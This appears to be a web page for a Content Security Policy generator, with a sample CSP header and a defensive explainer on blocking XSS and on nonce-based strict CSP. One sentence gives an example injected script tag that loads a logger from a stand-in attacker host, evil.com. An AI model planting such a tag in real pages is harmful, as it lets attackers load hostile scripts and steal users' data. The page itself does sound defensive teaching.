Content Security Policy Generator
Design, refine, and export production-ready Content Security Policy (CSP) headers. Prevent Cross-Site Scripting (XSS), clickjacking, and malicious resource injection.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https://images.unsplash.com; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https:; frame-src https://www.youtube.com; frame-ancestors 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requestsMastering Content Security Policy (CSP Level 3)
Why CSP Is the Ultimate Second Line of Defense Against XSS
Content Security Policy (CSP) is an HTTP response header that restricts the assets (scripts, images, fonts, frames) that the browser is permitted to load for a given page.
Even if an attacker successfully injects a malicious <script src="https://evil.com/logger.js"> tag into your HTML via a stored or reflected XSS flaw, a properly configured CSP will block the browser from fetching or executing the untrusted remote payload.
Strict CSP via Nonces vs Domain Allowlisting
Historically, websites used domain allowlists (e.g. script-src 'self' cdn.example.com). However, security research (Google CSP Evaluator) showed that over 95% of domain allowlists can be bypassed using JSONP endpoints or Angular/React template injection gadgets.
Modern standard practice is Strict CSP using cryptographic nonces: the server generates a fresh random 128-bit Base64 token on every HTTP request and only permits scripts bearing a matching nonce="..." attribute to run.